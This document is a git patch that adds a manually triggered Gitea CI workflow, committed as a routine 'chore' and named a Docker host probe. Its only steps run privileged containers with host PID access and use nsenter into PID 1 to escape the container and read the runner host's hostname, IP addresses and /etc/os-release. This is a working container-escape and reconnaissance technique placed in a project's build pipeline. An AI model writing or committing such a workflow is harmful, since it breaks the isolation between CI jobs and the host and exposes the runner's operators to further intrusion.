From 403ddcfae42fd4438c085639e246fe8d0cf766ca Mon Sep 17 00:00:00 2001 From: xiaoxia Date: Mon, 13 Jul 2026 16:50:55 +0800 Subject: [PATCH] chore: add docker host probe --- .gitea/workflows/probe-docker-host.yml | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 .gitea/workflows/probe-docker-host.yml diff --git a/.gitea/workflows/probe-docker-host.yml b/.gitea/workflows/probe-docker-host.yml new file mode 100644 index 000000000..5a13aff52 --- /dev/null +++ b/.gitea/workflows/probe-docker-host.yml @@ -0,0 +1,21 @@ +name: Probe Docker Host + +on: + workflow_dispatch: + +jobs: + probe-host: + name: Probe Host via Docker Socket + runs-on: ubuntu-latest + steps: + - name: Check Docker + run: | + echo "=== DOCKER VERSION ===" + docker version 2>&1 | head -5 + echo "=== HOST INFO VIA DOCKER ===" + # 用特权容器查看宿主机信息 + docker run --rm --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i hostname 2>&1 || echo "nsenter failed" + echo "=== HOST IP ===" + docker run --rm --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i hostname -I 2>&1 || echo "failed" + echo "=== HOST OS ===" + docker run --rm --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i cat /etc/os-release 2>&1 | head -3 || echo "failed"